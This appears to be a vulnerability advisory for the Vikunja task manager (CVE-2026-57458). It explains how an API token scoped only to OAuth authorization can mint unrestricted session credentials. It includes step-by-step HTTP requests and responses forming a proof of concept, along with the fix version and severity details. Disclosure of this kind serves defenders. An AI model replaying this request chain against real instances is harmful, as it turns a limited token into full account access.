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GHSA-v3p6-34mc-hj7v CVE-2026-57458 GO-2026-6750

Vikunja: Scoped API token can mint unrestricted OAuth session credentials

High Go
Severity
8.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.33%
Chance of exploitation in the next 30 days. Higher than 26.19% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-269 Improper Privilege Management
Fix
2.4.0
Upgrade code.vikunja.io/api to this version or later

Description

Summary

A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.

A token limited to:

{"oauth":["authorize"]}

can call /api/v1/oauth/authorize, receive an OAuth authorization code, exchange it at /api/v1/oauth/token, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.

Affected Component

  • Scoped API tokens
  • OAuth authorization flow
  • POST /api/v1/oauth/authorize
  • POST /api/v1/oauth/token

Impact

A narrowly scoped API token with only oauth.authorize can be converted into normal session credentials for the same user.

This bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.

Runtime validation showed that the original scoped token could not access GET /api/v1/user, but the minted OAuth access token could access:

  • GET /api/v1/user
  • GET /api/v1/projects

No cross-user access, privilege escalation to admin, or access to another account was validated.

Technical Details

The issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.

The vulnerable chain is:

  1. A scoped API token authenticates the request and sets the current user context.
  2. /api/v1/oauth/authorize accepts that API-token-authenticated user as a valid OAuth resource owner.
  3. The OAuth authorization endpoint issues an authorization code.
  4. /api/v1/oauth/token exchanges that code for a normal bearer JWT and refresh token.
  5. The resulting credentials are not bound to the original API-token permissions.

Relevant code paths:

  • pkg/routes/routes.go

    • registers /api/v1/oauth/authorize in an authenticated API route group that also accepts scoped API tokens
  • pkg/models/api_routes.go

    • exposes non-CRUD subroutes as API-token permissions
    • exposes the OAuth authorization endpoint under the oauth permission group
  • pkg/routes/api_tokens.go

    • stores api_token and api_user in the request context during API-token authentication
  • pkg/user/user.go

    • treats api_user as an authenticated current user
  • pkg/modules/auth/oauth2server/authorize.go

    • uses the current user and issues an OAuth authorization code
  • pkg/modules/auth/oauth2server/token.go

    • exchanges the authorization code for a normal JWT and refresh token

Steps to Reproduce

1. Create a scoped API token

Create an API token with only the following permission:

{"oauth":["authorize"]}

Observed response:

201 Created

The returned token had only the oauth.authorize permission.

2. Negative control: direct access with scoped token fails

Request:

GET /api/v1/user
Authorization: Bearer <scoped-api-token>

Observed response:

401 Unauthorized

Response body:

{"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}

This confirms that the scoped token cannot directly access the normal user route.

3. Obtain an OAuth authorization code with the scoped token

Request:

POST /api/v1/oauth/authorize
Authorization: Bearer <scoped-api-token>
Content-Type: application/json

Body:

{
  "response_type": "code",
  "client_id": "vikunja",
  "redirect_uri": "vikunja-flutter://callback",
  "code_challenge": "<pkce-s256-challenge>",
  "code_challenge_method": "S256"
}

Observed response:

200 OK

Response body:

{
  "code": "<redacted>",
  "redirect_uri": "vikunja-flutter://callback",
  "state": ""
}

The scoped API token successfully obtained an OAuth authorization code.

4. Exchange the authorization code for session credentials

Request:

POST /api/v1/oauth/token
Content-Type: application/json

Body:

{
  "grant_type": "authorization_code",
  "code": "<redacted>",
  "client_id": "vikunja",
  "redirect_uri": "vikunja-flutter://callback",
  "code_verifier": "<original-pkce-verifier>"
}

Observed response:

200 OK

Response body:

{
  "access_token": "<redacted>",
  "token_type": "bearer",
  "expires_in": 600,
  "refresh_token": "<redacted>"
}

The authorization code was exchanged for a normal access token and refresh token.

5. Use the minted access token on normal routes

Request:

GET /api/v1/user
Authorization: Bearer <minted-oauth-access-token>

Observed response:

200 OK

Additional scope check:

GET /api/v1/projects
Authorization: Bearer <minted-oauth-access-token>

Observed response:

200 OK

The minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.

Expected Behavior

A scoped API token should not be able to obtain credentials with broader permissions than its declared scope.

/api/v1/oauth/authorize should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.

Actual Behavior

A token scoped only to oauth.authorize can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.

The minted credentials are not restricted by the original API-token permissions.

Affected versions

Go

PackageVulnerableFixed in
code.vikunja.io/api
>= 2.3.0, < 2.4.0
2.4.0
code.vikunja.io/api
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.vikunja.io/api Go → 2.4.0

go
go get code.vikunja.io/api@v2.4.0 && go mod tidy

Severity breakdown

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-269: Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Architecture and Design: Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-m687-p538-r5hp
Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted
Medium Also affects code.vikunja.io/api
GHSA-fmmf-xq98-g327
Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check
Medium Also affects code.vikunja.io/api
GHSA-pjr3-86v4-5p7w
Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
Medium Also affects code.vikunja.io/api
GHSA-hjx8-qv73-f7cm
Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed
High Also affects code.vikunja.io/api
GHSA-fprf-r6rv-xg99
Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants
Medium Also affects code.vikunja.io/api
GHSA-4hv6-xc92-j86g
Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes
High Also affects code.vikunja.io/api
GHSA-w2ch-4xgr-22ww
Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal
Low Also affects code.vikunja.io/api
GHSA-8wvg-r2j4-3737
Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint
Medium Also affects code.vikunja.io/api
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